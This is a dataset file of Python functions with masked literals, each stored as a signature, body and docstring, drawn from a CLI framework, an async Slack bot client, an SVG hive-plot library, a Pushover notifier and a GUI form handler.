{"signature": "def run(self, options):", "body": "self.logger.debug(\"<STR_LIT>\")<EOL>depends = ['<STR_LIT>']<EOL>nil_tools = []<EOL>self.logger.info(\"<STR_LIT>\", depends)<EOL>for v in depends:<EOL><INDENT>real_path = shutil.which(v)<EOL>if real_path:<EOL><INDENT>self.print_message(\"<STR_LIT>\"<EOL>\"<STR_LIT>\".format(v,<EOL>real_path,<EOL>termcolor.colored(<EOL>'<STR_LIT>',<EOL>color='<STR_LIT>')))<EOL><DEDENT>else:<EOL><INDENT>nil_tools.append(v)<EOL>self.error_message(<EOL>'<STR_LIT>'.format(v, '<STR_LIT>'), prefix='<STR_LIT>',<EOL>suffix='<STR_LIT>')<EOL><DEDENT>pass<EOL><DEDENT>if nil_tools:<EOL><INDENT>self.print_message('<STR_LIT>')<EOL>self.error(\"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>self.print_message(\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL>self.logger.debug(\"<STR_LIT>\")<EOL>pass<EOL><DEDENT>pass<EOL>", "docstring": ".. todo::\n\n    check network connection\n\n:param Namespace options: parse result from argparse\n:return:", "id": "f1108:c0:m0"}
{"signature": "@classmethod<EOL><INDENT>def add_arguments(cls):<DEDENT>", "body": "return [<EOL>(('<STR_LIT>',), dict(action='<STR_LIT:store_true>', help='<STR_LIT>')),<EOL>(('<STR_LIT>', '<STR_LIT>'), dict(action='<STR_LIT:count>')),<EOL>]<EOL>", "docstring": "check cliez depends envrioument.", "id": "f1108:c0:m1"}
{"signature": "def include_file(filename, global_vars=None, local_vars=None):", "body": "if global_vars is None:<EOL><INDENT>global_vars = sys._getframe(<NUM_LIT:1>).f_globals<EOL><DEDENT>if local_vars is None:<EOL><INDENT>local_vars = sys._getframe(<NUM_LIT:1>).f_locals<EOL><DEDENT>with open(filename, '<STR_LIT:r>') as f:<EOL><INDENT>code = compile(f.read(), os.path.basename(filename), '<STR_LIT>')<EOL>exec(code, global_vars, local_vars)<EOL>pass<EOL><DEDENT>", "docstring": ".. deprecated 2.1::\n    Don't use this any more.\n\n    It's not pythonic.\n\n\ninclude file like php include.\n\ninclude is very useful when we need to split large config file", "id": "f1110:m0"}
{"signature": "def hump_to_underscore(name):", "body": "new_name = '<STR_LIT>'<EOL>pos = <NUM_LIT:0><EOL>for c in name:<EOL><INDENT>if pos == <NUM_LIT:0>:<EOL><INDENT>new_name = c.lower()<EOL><DEDENT>elif <NUM_LIT> <= ord(c) <= <NUM_LIT>:<EOL><INDENT>new_name += '<STR_LIT:_>' + c.lower()<EOL>pass<EOL><DEDENT>else:<EOL><INDENT>new_name += c<EOL><DEDENT>pos += <NUM_LIT:1><EOL>pass<EOL><DEDENT>return new_name<EOL>", "docstring": "Convert Hump style to underscore\n\n:param name: Hump Character\n:return: str", "id": "f1110:m1"}
{"signature": "def settings(path=None, with_path=None):", "body": "if path:<EOL><INDENT>Settings.bind(path, with_path=with_path)<EOL><DEDENT>return Settings._wrapped<EOL>", "docstring": "Get or set `Settings._wrapped`\n\n:param str path: a python module file,\n    if user set it,write config to `Settings._wrapped`\n:param str with_path: search path\n:return: A instance of `Settings`", "id": "f1111:m0"}
{"signature": "@staticmethod<EOL><INDENT>def bind(mod_path, with_path=None):<DEDENT>", "body": "if with_path:<EOL><INDENT>if os.path.isdir(with_path):<EOL><INDENT>sys.path.insert(<NUM_LIT:0>, with_path)<EOL><DEDENT>else:<EOL><INDENT>sys.path.insert(<NUM_LIT:0>, with_path.rsplit('<STR_LIT:/>', <NUM_LIT:2>)[<NUM_LIT:0>])<EOL><DEDENT>pass<EOL><DEDENT>mod = importlib.import_module(mod_path)<EOL>settings = Settings()<EOL>for v in dir(mod):<EOL><INDENT>if v[<NUM_LIT:0>] == '<STR_LIT:_>' or type(getattr(mod, v)).__name__ == '<STR_LIT>':<EOL><INDENT>continue<EOL><DEDENT>setattr(settings, v, getattr(mod, v))<EOL>pass<EOL><DEDENT>Settings._path = mod_path<EOL>Settings._wrapped = settings<EOL>return settings<EOL>", "docstring": "bind user variable to `_wrapped`\n\n.. note::\n\n    you don't need call this method by yourself.\n\n    program will call it in  `cliez.parser.parse`\n\n\n.. expection::\n\n    if path is not correct,will cause an `ImportError`\n\n\n:param str mod_path: module path, *use dot style,'mod.mod1'*\n:param str with_path: add path to `sys.path`,\n    if path is file,use its parent.\n:return: A instance of `Settings`", "id": "f1111:c0:m0"}
{"signature": "def set_signal(self):", "body": "def signal_handle(signum, frame):<EOL><INDENT>self.error(\"<STR_LIT>\")<EOL>sys.exit(-<NUM_LIT:1>)<EOL>pass<EOL><DEDENT>signal.signal(signal.SIGINT, signal_handle)<EOL>pass<EOL>", "docstring": "\u8bbe\u7f6e\u4fe1\u53f7\u5904\u7406\n\n\u9ed8\u8ba4\u76f4\u63a5\u4e2d\u65ad,\u8003\u8651\u5230\u4e00\u4e9b\u573a\u666f\u7528\u6237\u9700\u8981\u7b49\u5f85\u7ebf\u7a0b\u7ed3\u675f.\n\u53ef\u5728\u6b64\u81ea\u5b9a\u4e49\u64cd\u4f5c\n\n:return:", "id": "f1112:c0:m0"}
{"signature": "def check_exclusive_mode(self):", "body": "if self.options.exclusive_mode:<EOL><INDENT>import psutil<EOL>current_pid = os.getpid()<EOL>current = psutil.Process(current_pid).cmdline()<EOL>for pid in psutil.pids():<EOL><INDENT>p = psutil.Process(pid)<EOL>try:<EOL><INDENT>if current_pid != pid and current == p.cmdline():<EOL><INDENT>self.error_message(<EOL>\"<STR_LIT>\".format(p.pid))<EOL>sys.exit(-<NUM_LIT:1>)<EOL>pass<EOL><DEDENT><DEDENT>except psutil.ZombieProcess:<EOL><INDENT>pass<EOL><DEDENT>except psutil.AccessDenied:<EOL><INDENT>pass<EOL><DEDENT>pass<EOL><DEDENT>pass<EOL><DEDENT>pass<EOL>", "docstring": "\u68c0\u67e5\u662f\u5426\u662f\u72ec\u5360\u6a21\u5f0f\n\n\u53c2\u6570\u987a\u5e8f\u5fc5\u987b\u4e00\u81f4,\u4e5f\u5c31\u662f\u8bf4\u5982\u679c\u53c2\u6570\u987a\u5e8f\u4e0d\u4e00\u81f4,\u5219\u5224\u5b9a\u4e3a\u662f\u4e24\u4e2a\u4e0d\u540c\u7684\u8fdb\u7a0b\n\u8fd9\u4e48\u8bbe\u8ba1\u662f\u8003\u8651\u5230:\n\n- \u4e00\u822c\u800c\u8a00,\u6392\u4ed6\u6a21\u5f0f\u7684\u670d\u52a1\u542f\u52a8\u90fd\u662fcrontab\u7b49\u811a\u672c\u6765\u5b8c\u6210\u7684,\u4e0d\u5b58\u5728\u987a\u5e8f\u53d8\u66f4\u7684\u53ef\u80fd\n- \u8fd9\u5728\u8c03\u8bd5\u7684\u65f6\u5019\u53ef\u4ee5\u5e2e\u52a9\u6211\u4eec\u4e0d\u9700\u8981\u7ed3\u675f\u539f\u6709\u8fdb\u7a0b\u5c31\u53ef\u4ee5\u7ee7\u7eed\u8c03\u8bd5\n\n:return:", "id": "f1112:c0:m1"}
{"signature": "def run(self, options):", "body": "self.set_signal()<EOL>self.check_exclusive_mode()<EOL>slot = self.Handle(self)<EOL>i = <NUM_LIT:0><EOL>while i < options.threads:<EOL><INDENT>t = threading.Thread(target=self.worker, args=[slot])<EOL>if options.once is True or options.no_daemon is True:<EOL><INDENT>t.daemon = False<EOL><DEDENT>else:<EOL><INDENT>t.daemon = True<EOL><DEDENT>t.start()<EOL>i += <NUM_LIT:1><EOL><DEDENT>if options.once is False:<EOL><INDENT>while True:<EOL><INDENT>if threading.active_count() > <NUM_LIT:1>:<EOL><INDENT>sleep(<NUM_LIT:1>)<EOL><DEDENT>else:<EOL><INDENT>if threading.current_thread().name == \"<STR_LIT>\":<EOL><INDENT>sys.exit(<NUM_LIT:0>)<EOL><DEDENT><DEDENT><DEDENT><DEDENT>pass<EOL>", "docstring": "In general, you don't need to overwrite this method.\n\n:param options:\n:return:", "id": "f1112:c0:m2"}
{"signature": "async def join_rtm(self, filters=None):", "body": "if filters is None:<EOL><INDENT>filters = [cls(self) for cls in self.MESSAGE_FILTERS]<EOL><DEDENT>url = await self._get_socket_url()<EOL>logger.debug('<STR_LIT>', url)<EOL>async with ws_connect(url) as socket:<EOL><INDENT>first_msg = await socket.receive()<EOL>self._validate_first_message(first_msg)<EOL>self.socket = socket<EOL>async for message in socket:<EOL><INDENT>if message.tp == MsgType.text:<EOL><INDENT>await self.handle_message(message, filters)<EOL><DEDENT>elif message.tp in (MsgType.closed, MsgType.error):<EOL><INDENT>if not socket.closed:<EOL><INDENT>await socket.close()<EOL><DEDENT>self.socket = None<EOL>break<EOL><DEDENT><DEDENT><DEDENT>logger.info('<STR_LIT>')<EOL>", "docstring": "Join the real-time messaging service.\n\n        Arguments:\n          filters (:py:class:`dict`, optional): Dictionary mapping\n            message filters to the functions they should dispatch to.\n            Use a :py:class:`collections.OrderedDict` if precedence is\n            important; only one filter, the first match, will be\n            applied to each message.", "id": "f1114:c0:m1"}
{"signature": "async def handle_message(self, message, filters):", "body": "data = self._unpack_message(message)<EOL>logger.debug(data)<EOL>if data.get('<STR_LIT:type>') == '<STR_LIT:error>':<EOL><INDENT>raise SlackApiError(<EOL>data.get('<STR_LIT:error>', {}).get('<STR_LIT>', str(data))<EOL>)<EOL><DEDENT>elif self.message_is_to_me(data):<EOL><INDENT>text = data['<STR_LIT:text>'][len(self.address_as):].strip()<EOL>if text == '<STR_LIT>':<EOL><INDENT>return self._respond(<EOL>channel=data['<STR_LIT>'],<EOL>text=self._instruction_list(filters),<EOL>)<EOL><DEDENT>elif text == '<STR_LIT:version>':<EOL><INDENT>return self._respond(<EOL>channel=data['<STR_LIT>'],<EOL>text=self.VERSION,<EOL>)<EOL><DEDENT><DEDENT>for _filter in filters:<EOL><INDENT>if _filter.matches(data):<EOL><INDENT>logger.debug('<STR_LIT>')<EOL>async for response in _filter:<EOL><INDENT>self._respond(channel=data['<STR_LIT>'], text=response)<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Handle an incoming message appropriately.\n\n        Arguments:\n          message (:py:class:`aiohttp.websocket.Message`): The incoming\n            message to handle.\n          filters (:py:class:`list`): The filters to apply to incoming\n            messages.", "id": "f1114:c0:m2"}
{"signature": "def message_mentions_me(self, data):", "body": "return (data.get('<STR_LIT:type>') == '<STR_LIT:message>' and<EOL>self.full_name in data.get('<STR_LIT:text>', '<STR_LIT>'))<EOL>", "docstring": "If you send a message that mentions me", "id": "f1114:c0:m3"}
{"signature": "def message_is_to_me(self, data):", "body": "return (data.get('<STR_LIT:type>') == '<STR_LIT:message>' and<EOL>data.get('<STR_LIT:text>', '<STR_LIT>').startswith(self.address_as))<EOL>", "docstring": "If you send a message directly to me", "id": "f1114:c0:m4"}
{"signature": "@classmethod<EOL><INDENT>async def from_api_token(cls, token=None, api_cls=SlackBotApi):<DEDENT>", "body": "api = api_cls.from_env() if token is None else api_cls(api_token=token)<EOL>data = await api.execute_method(cls.API_AUTH_ENDPOINT)<EOL>return cls(data['<STR_LIT>'], data['<STR_LIT:user>'], api)<EOL>", "docstring": "Create a new instance from the API token.\n\n        Arguments:\n          token (:py:class:`str`, optional): The bot's API token\n            (defaults to ``None``, which means looking in the\n            environment).\n          api_cls (:py:class:`type`, optional): The class to create\n            as the ``api`` argument for API access (defaults to\n            :py:class:`aslack.slack_api.SlackBotApi`).\n\n        Returns:\n          :py:class:`SlackBot`: The new instance.", "id": "f1114:c0:m5"}
{"signature": "def _format_message(self, channel, text):", "body": "payload = {'<STR_LIT:type>': '<STR_LIT:message>', '<STR_LIT:id>': next(self._msg_ids)}<EOL>payload.update(channel=channel, text=text)<EOL>return json.dumps(payload)<EOL>", "docstring": "Format an outgoing message for transmission.\n\n        Note:\n          Adds the message type (``'message'``) and incremental ID.\n\n        Arguments:\n          channel (:py:class:`str`): The channel to send to.\n          text (:py:class:`str`): The message text to send.\n\n        Returns:\n          :py:class:`str`: The JSON string of the message.", "id": "f1114:c0:m6"}
{"signature": "async def _get_socket_url(self):", "body": "data = await self.api.execute_method(<EOL>self.RTM_START_ENDPOINT,<EOL>simple_latest=True,<EOL>no_unreads=True,<EOL>)<EOL>return data['<STR_LIT:url>']<EOL>", "docstring": "Get the WebSocket URL for the RTM session.\n\n        Warning:\n          The URL expires if the session is not joined within 30\n          seconds of the API call to the start endpoint.\n\n        Returns:\n          :py:class:`str`: The socket URL.", "id": "f1114:c0:m7"}
{"signature": "def _instruction_list(self, filters):", "body": "return '<STR_LIT>'.join([<EOL>self.INSTRUCTIONS.strip(),<EOL>'<STR_LIT>',<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'.format(self.user),<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'.format(self.user),<EOL>] + [filter.description() for filter in filters])<EOL>", "docstring": "Generates the instructions for a bot and its filters.\n\n        Note:\n          The guidance for each filter is generated by combining the\n          docstrings of the predicate filter and resulting dispatch\n          function with a single space between. The class's\n          :py:attr:`INSTRUCTIONS` and the default help command are\n          added.\n\n        Arguments:\n          filters (:py:class:`list`): The filters to apply to incoming\n            messages.\n\n        Returns:\n          :py:class:`str`: The bot's instructions.", "id": "f1114:c0:m8"}
{"signature": "def _respond(self, channel, text):", "body": "result = self._format_message(channel, text)<EOL>if result is not None:<EOL><INDENT>logger.info(<EOL>'<STR_LIT>',<EOL>truncate(result, max_len=<NUM_LIT:50>),<EOL>)<EOL><DEDENT>self.socket.send_str(result)<EOL>", "docstring": "Respond to a message on the current socket.\n\n        Args:\n          channel (:py:class:`str`): The channel to send to.\n          text (:py:class:`str`): The message text to send.", "id": "f1114:c0:m9"}
{"signature": "@staticmethod<EOL><INDENT>def _unpack_message(msg):<DEDENT>", "body": "return json.loads(msg.data)<EOL>", "docstring": "Unpack the data from the message.\n\n        Arguments:\n          msg (:py:class:`aiohttp.websocket.Message`): The message to\n            unpack.\n\n        Returns:\n          :py:class:`dict`: The loaded data.\n\n        Raises:\n          :py:class:`AttributeError`: If there is no data attribute.\n          :py:class:`json.JSONDecodeError`: If the data isn't valid\n            JSON.", "id": "f1114:c0:m10"}
{"signature": "@classmethod<EOL><INDENT>def _validate_first_message(cls, msg):<DEDENT>", "body": "data = cls._unpack_message(msg)<EOL>logger.debug(data)<EOL>if data != cls.RTM_HANDSHAKE:<EOL><INDENT>raise SlackApiError('<STR_LIT>'.format(data))<EOL><DEDENT>logger.info('<STR_LIT>')<EOL>", "docstring": "Check the first message matches the expected handshake.\n\n        Note:\n          The handshake is provided as :py:attr:`RTM_HANDSHAKE`.\n\n        Arguments:\n          msg (:py:class:`aiohttp.Message`): The message to validate.\n\n        Raises:\n          :py:class:`SlackApiError`: If the data doesn't match the\n            expected handshake.", "id": "f1114:c0:m11"}
{"signature": "def description(self):", "body": "if self._description is None:<EOL><INDENT>text = '<STR_LIT:\\n>'.join(self.__doc__.splitlines()[<NUM_LIT:1>:]).strip()<EOL>lines = []<EOL>for line in map(str.strip, text.splitlines()):<EOL><INDENT>if line and lines:<EOL><INDENT>lines[-<NUM_LIT:1>] = '<STR_LIT:U+0020>'.join((lines[-<NUM_LIT:1>], line))<EOL><DEDENT>elif line:<EOL><INDENT>lines.append(line)<EOL><DEDENT>else:<EOL><INDENT>lines.append('<STR_LIT>')<EOL><DEDENT><DEDENT>self._description = '<STR_LIT:\\n>'.join(lines)<EOL><DEDENT>return self._description<EOL>", "docstring": "A user-friendly description of the handler.\n\n        Returns:\n          :py:class:`str`: The handler's description.", "id": "f1116:c0:m3"}
{"signature": "def matches(self, data):", "body": "self.text = data.get('<STR_LIT:text>')<EOL>return True<EOL>", "docstring": "Whether the handler should handle the current message.\n\n        Args:\n          data: The data representing the current message.\n\n        Returns:\n          :py:class:`bool`: Whether it should be handled.", "id": "f1116:c0:m4"}
{"signature": "def api_subclass_factory(name, docstring, remove_methods, base=SlackApi):", "body": "methods = deepcopy(base.API_METHODS)<EOL>for parent, to_remove in remove_methods.items():<EOL><INDENT>if to_remove is ALL:<EOL><INDENT>del methods[parent]<EOL><DEDENT>else:<EOL><INDENT>for method in to_remove:<EOL><INDENT>del methods[parent][method]<EOL><DEDENT><DEDENT><DEDENT>return type(name, (base,), dict(API_METHODS=methods, __doc__=docstring))<EOL>", "docstring": "Create an API subclass with fewer methods than its base class.\n\n    Arguments:\n      name (:py:class:`str`): The name of the new class.\n      docstring (:py:class:`str`): The docstring for the new class.\n      remove_methods (:py:class:`dict`): The methods to remove from\n        the base class's :py:attr:`API_METHODS` for the subclass. The\n        key is the name of the root method (e.g. ``'auth'`` for\n        ``'auth.test'``, the value is either a tuple of child method\n        names (e.g. ``('test',)``) or, if all children should be\n        removed, the special value :py:const:`ALL`.\n      base (:py:class:`type`, optional): The base class (defaults to\n        :py:class:`SlackApi`).\n\n    Returns:\n      :py:class:`type`: The new subclass.\n\n    Raises:\n      :py:class:`KeyError`: If the method wasn't in the superclass.", "id": "f1117:m0"}
{"signature": "async def execute_method(self, method, **params):", "body": "url = self.url_builder(method, url_params=params)<EOL>logger.info('<STR_LIT>', method)<EOL>response = await aiohttp.get(url)<EOL>logger.info('<STR_LIT>', response.status)<EOL>if response.status == <NUM_LIT:200>:<EOL><INDENT>json = await response.json()<EOL>logger.debug('<STR_LIT>', json)<EOL>if json.get('<STR_LIT>'):<EOL><INDENT>return json<EOL><DEDENT>raise SlackApiError(json['<STR_LIT:error>'])<EOL><DEDENT>else:<EOL><INDENT>raise_for_status(response)<EOL><DEDENT>", "docstring": "Execute a specified Slack Web API method.\n\n        Arguments:\n          method (:py:class:`str`): The name of the method.\n          **params (:py:class:`dict`): Any additional parameters\n            required.\n\n        Returns:\n          :py:class:`dict`: The JSON data from the response.\n\n        Raises:\n          :py:class:`aiohttp.web_exceptions.HTTPException`: If the HTTP\n            request returns a code other than 200 (OK).\n          SlackApiError: If the Slack API is reached but the response\n           contains an error message.", "id": "f1117:c1:m0"}
{"signature": "@classmethod<EOL><INDENT>def method_exists(cls, method):<DEDENT>", "body": "methods = cls.API_METHODS<EOL>for key in method.split('<STR_LIT:.>'):<EOL><INDENT>methods = methods.get(key)<EOL>if methods is None:<EOL><INDENT>break<EOL><DEDENT><DEDENT>if isinstance(methods, str):<EOL><INDENT>logger.debug('<STR_LIT>', method, methods)<EOL>return True<EOL><DEDENT>return False<EOL>", "docstring": "Whether a given method exists in the known API.\n\n        Arguments:\n          method (:py:class:`str`): The name of the method.\n\n        Returns:\n          :py:class:`bool`: Whether the method is in the known API.", "id": "f1117:c1:m1"}
{"signature": "@property<EOL><INDENT>def headers(self):<DEDENT>", "body": "return {}<EOL>", "docstring": "Get the headers for the service requests.\n\n        Returns:\n          :py:class:`dict`: The header mapping.", "id": "f1119:c0:m1"}
{"signature": "def url_builder(self, endpoint, *, root=None, params=None, url_params=None):", "body": "if root is None:<EOL><INDENT>root = self.ROOT<EOL><DEDENT>scheme, netloc, path, _, _ = urlsplit(root)<EOL>return urlunsplit((<EOL>scheme,<EOL>netloc,<EOL>urljoin(path, endpoint),<EOL>urlencode(url_params or {}),<EOL>'<STR_LIT>',<EOL>)).format(**params or {})<EOL>", "docstring": "Create a URL for the specified endpoint.\n\n        Arguments:\n          endpoint (:py:class:`str`): The API endpoint to access.\n          root: (:py:class:`str`, optional): The root URL for the\n            service API.\n          params: (:py:class:`dict`, optional): The values for format\n            into the created URL (defaults to ``None``).\n          url_params: (:py:class:`dict`, optional): Parameters to add\n            to the end of the URL (defaults to ``None``).\n\n        Returns:\n          :py:class:`str`: The resulting URL.", "id": "f1119:c0:m2"}
{"signature": "@classmethod<EOL><INDENT>def from_env(cls):<DEDENT>", "body": "token = getenv(cls.TOKEN_ENV_VAR)<EOL>if token is None:<EOL><INDENT>msg = '<STR_LIT>'.format(cls.TOKEN_ENV_VAR)<EOL>raise ValueError(msg)<EOL><DEDENT>return cls(api_token=token)<EOL>", "docstring": "Create a service instance from an environment variable.", "id": "f1119:c1:m1"}
{"signature": "def url_builder(self, endpoint, params=None, url_params=None):", "body": "if url_params is None:<EOL><INDENT>url_params = OrderedDict()<EOL><DEDENT>url_params[self.AUTH_PARAM] = self.api_token<EOL>return super().url_builder(<EOL>endpoint,<EOL>params=params,<EOL>url_params=url_params,<EOL>)<EOL>", "docstring": "Add authentication URL parameter.", "id": "f1119:c2:m0"}
{"signature": "def raise_for_status(response):", "body": "for err_name in web_exceptions.__all__:<EOL><INDENT>err = getattr(web_exceptions, err_name)<EOL>if err.status_code == response.status:<EOL><INDENT>payload = dict(<EOL>headers=response.headers,<EOL>reason=response.reason,<EOL>)<EOL>if issubclass(err, web_exceptions._HTTPMove):  <EOL><INDENT>raise err(response.headers['<STR_LIT>'], **payload)<EOL><DEDENT>raise err(**payload)<EOL><DEDENT><DEDENT>", "docstring": "Raise an appropriate error for a given response.\n\n    Arguments:\n      response (:py:class:`aiohttp.ClientResponse`): The API response.\n\n    Raises:\n      :py:class:`aiohttp.web_exceptions.HTTPException`: The appropriate\n        error for the response's status.", "id": "f1120:m0"}
{"signature": "def truncate(text, max_len=<NUM_LIT>, end='<STR_LIT>'):", "body": "if len(text) <= max_len:<EOL><INDENT>return text<EOL><DEDENT>return text[:max_len].rsplit('<STR_LIT:U+0020>', maxsplit=<NUM_LIT:1>)[<NUM_LIT:0>] + end<EOL>", "docstring": "Truncate the supplied text for display.\n\n    Arguments:\n      text (:py:class:`str`): The text to truncate.\n      max_len (:py:class:`int`, optional): The maximum length of the\n        text before truncation (defaults to 350 characters).\n      end (:py:class:`str`, optional): The ending to use to show that\n        the text was truncated (defaults to ``'...'``).\n\n    Returns:\n      :py:class:`str`: The truncated text.", "id": "f1120:m1"}
{"signature": "def connect(self, axis0, n0_index, source_angle, axis1, n1_index, target_angle, **kwargs):", "body": "n0    = axis0.nodes[n0_index]<EOL>n1    = axis1.nodes[n1_index]<EOL>pth  = self.dwg.path(d=\"<STR_LIT>\" % (n0.x, n0.y), fill='<STR_LIT:none>', **kwargs) <EOL>alfa = axis0.angle() + radians(source_angle)<EOL>length = sqrt( ((n0.x - axis0.start[<NUM_LIT:0>])**<NUM_LIT:2>) + ((n0.y-axis0.start[<NUM_LIT:1>])**<NUM_LIT:2>)) <EOL>x = axis0.start[<NUM_LIT:0>] + length * cos(alfa);<EOL>y = axis0.start[<NUM_LIT:1>] + length * sin(alfa);<EOL>pth.push(\"<STR_LIT>\" % (x, y)) <EOL>alfa = axis1.angle() + radians(target_angle)<EOL>length = sqrt( ((n1.x - axis1.start[<NUM_LIT:0>])**<NUM_LIT:2>) + ((n1.y-axis1.start[<NUM_LIT:1>])**<NUM_LIT:2>)) <EOL>x = axis1.start[<NUM_LIT:0>] + length * cos(alfa);<EOL>y = axis1.start[<NUM_LIT:1>] + length * sin(alfa);<EOL>pth.push(\"<STR_LIT>\" % (x, y))   <EOL>pth.push(\"<STR_LIT>\" % (n1.x, n1.y)) <EOL>self.dwg.add(pth)<EOL>", "docstring": "Draw edges as B\u00e9zier curves.\n\n        Start and end points map to the coordinates of the given nodes\n        which in turn are set when adding nodes to an axis with the\n        Axis.add_node() method, by using the placement information of\n        the axis and a specified offset from its start point.\n\n        Control points are set at the same distance from the start (or end)\n        point of an axis as their corresponding nodes, but along an invisible\n        axis that shares its origin but diverges by a given angle.\n\n\n        Parameters\n        ----------\n        axis0        : source Axis object\n        n0_index     : key of source node in nodes dictionary of axis0\n        source_angle : angle of departure for invisible axis that diverges from axis0 and holds first control points\n        axis1        : target Axis object\n        n1_index     : key of target node in nodes dictionary of axis1\n        target_angle : angle of departure for invisible axis that diverges from axis1 and holds second control points\n        kwargs       : extra SVG attributes for path element, optional\n                       Set or change attributes using key=value", "id": "f1134:c0:m2"}
{"signature": "def __init__( self, start=(<NUM_LIT:0>,<NUM_LIT:0>), end=(<NUM_LIT:0>,<NUM_LIT:0>), **kwargs):", "body": "self.start = start<EOL>self.end   = end<EOL>self.nodes = {}<EOL>self.dwg   = svgwrite.Drawing()<EOL>self.attrs = kwargs<EOL>", "docstring": "Initialize Axis object with start, end positions and optional SVG attributes\n\n        Parameters\n        ----------\n        start  : ( x, y ) start point of the axis\n        end    : (x1, y1) end point of the axis\n        kwargs : extra SVG attributes for line element, optional\n                 Set or change attributes using key=value\n\n        Example\n        -------\n        >>> axis0 = Axis( (150, 200), # start\n                          (150, 0),   # end\n                          stroke=\"black\", stroke_width=1.5) # pass SVG attributes of axes", "id": "f1134:c1:m0"}
{"signature": "def add_node(self, node, offset):", "body": "<EOL>width  = self.end[<NUM_LIT:0>] - self.start[<NUM_LIT:0>]<EOL>height = self.end[<NUM_LIT:1>] - self.start[<NUM_LIT:1>]        <EOL>node.x = self.start[<NUM_LIT:0>] + (width * offset)<EOL>node.y = self.start[<NUM_LIT:1>] + (height * offset)<EOL>self.nodes[node.ID] = node<EOL>", "docstring": "Add a Node object to nodes dictionary, calculating its coordinates using offset\n\n        Parameters\n        ----------\n        node   : a Node object\n        offset : float \n                 number between 0 and 1 that sets the distance\n                 from the start point at which the node will be placed", "id": "f1134:c1:m1"}
{"signature": "def __init__(self, ID):", "body": "self.ID = ID<EOL>self.x = <NUM_LIT:0><EOL>self.y = <NUM_LIT:0><EOL>self.dwg   = svgwrite.Drawing()<EOL>", "docstring": "Parameters\n----------\nID: a unique key for the nodes dict of an axis.", "id": "f1134:c2:m0"}
{"signature": "def notify(self, message, title=\"<STR_LIT>\", **kwargs):", "body": "logger.info(<EOL>\"<STR_LIT>\".format(title, message))<EOL>try:<EOL><INDENT>data = {<EOL>'<STR_LIT>': self._token,<EOL>'<STR_LIT:user>': self._user,<EOL>'<STR_LIT:title>': title,<EOL>'<STR_LIT:message>': message,<EOL>}<EOL>data.update(kwargs)<EOL>payload = []<EOL>for (k, v) in data.items():<EOL><INDENT>if isinstance(v, str_type):<EOL><INDENT>payload.append((k, v.encode(\"<STR_LIT:utf-8>\")))<EOL><DEDENT>else:<EOL><INDENT>payload.append((k, v))<EOL><DEDENT><DEDENT>headers = {\"<STR_LIT>\": \"<STR_LIT>\",}<EOL>conn = HTTPSConnection(\"<STR_LIT>\")<EOL>params = urlencode(payload)<EOL>conn.request(\"<STR_LIT:POST>\", \"<STR_LIT>\", params, headers)<EOL>rsp = conn.getresponse()<EOL>if rsp.status != <NUM_LIT:200>:<EOL><INDENT>raise PushoverException(\"<STR_LIT>\".format(rsp.status))<EOL><DEDENT>conn.close()<EOL><DEDENT>except Exception as e:<EOL><INDENT>raise PushoverException(\"<STR_LIT>\".format(e))<EOL><DEDENT>", "docstring": "priority (-2 -1 0 1 2)\nsound (bike,bugle,cashregister,classical,cosmic,falling,gamelan,\n       incoming,intermission,magic,mechanical,pianobar,siren,spacealarm,\n       tugboat,alien,climb,persistent,echo,updown,none)", "id": "f1136:c1:m1"}
{"signature": "def get_secrets(prefixes, relative_paths):", "body": "try:<EOL><INDENT>return os.path.join(sys._MEIPASS, relative_paths[-<NUM_LIT:1>])<EOL><DEDENT>except Exception:<EOL><INDENT>for prefix in prefixes:<EOL><INDENT>for relative_path in relative_paths:<EOL><INDENT>path = os.path.join(prefix, relative_path)<EOL>if os.path.exists(path):<EOL><INDENT>return path<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>return None<EOL><DEDENT><DEDENT>", "docstring": "Taken from https://github.com/tokland/youtube-upload/blob/master/youtube_upload/main.py\nGet the first existing filename of relative_path seeking on prefixes directories.", "id": "f1140:m6"}
{"signature": "def __button_action(self, data=None):", "body": "if any(not x for x in (self._ename.value, self._p1.value, self._p2.value, self._file.value)):<EOL><INDENT>print(\"<STR_LIT>\")<EOL>return<EOL><DEDENT>self.__p1chars = []<EOL>self.__p2chars = []<EOL>options = Namespace()<EOL>self.__history.append(self.__save_form())<EOL>options.ename = self._ename.value<EOL>if self._ename_min.value:<EOL><INDENT>options.ename_min = self._ename_min.value<EOL><DEDENT>else:<EOL><INDENT>options.ename_min = options.ename<EOL><DEDENT>options.pID = self._pID.value<EOL>options.mtype = self._mtype.value<EOL>options.mmid = options.mtype<EOL>options.p1 = self._p1.value<EOL>options.p2 = self._p2.value<EOL>options.p1char = self._p1char.value<EOL>options.p2char = self._p2char.value<EOL>options.bracket = self._bracket.value<EOL>isadir = os.path.isdir(self._file.value)<EOL>if isadir:<EOL><INDENT>options.file = max([os.path.join(self._file.value, f) for f in os.listdir(self._file.value) if os.path.isfile(os.path.join(self._file.value, f))], key=os.path.getmtime)<EOL><DEDENT>else:<EOL><INDENT>options.file = self._file.value<EOL><DEDENT>options.tags = self._tags.value<EOL>options.msuffix = self._msuffix.value<EOL>options.mprefix = self._mprefix.value<EOL>options.privacy = self._privacy.value<EOL>options.descrip = self._description.value<EOL>options.titleformat = self._titleformat.value<EOL>if self._p1sponsor.value:<EOL><INDENT>options.p1 = \"<STR_LIT>\".join((self._p1sponsor.value, options.p1))<EOL><DEDENT>if self._p2sponsor.value:<EOL><INDENT>options.p2 = \"<STR_LIT>\".join((self._p2sponsor.value, options.p2))<EOL><DEDENT>options.ignore = False<EOL>self.__reset_match(False, isadir)<EOL>self.__add_to_qview(options)<EOL>self._queueref.append(options)<EOL>if consts.firstrun:<EOL><INDENT>thr = threading.Thread(target=self.__worker)<EOL>thr.daemon = True<EOL>thr.start()<EOL>consts.firstrun = False<EOL><DEDENT>", "docstring": "Button action event", "id": "f1142:c3:m1"}
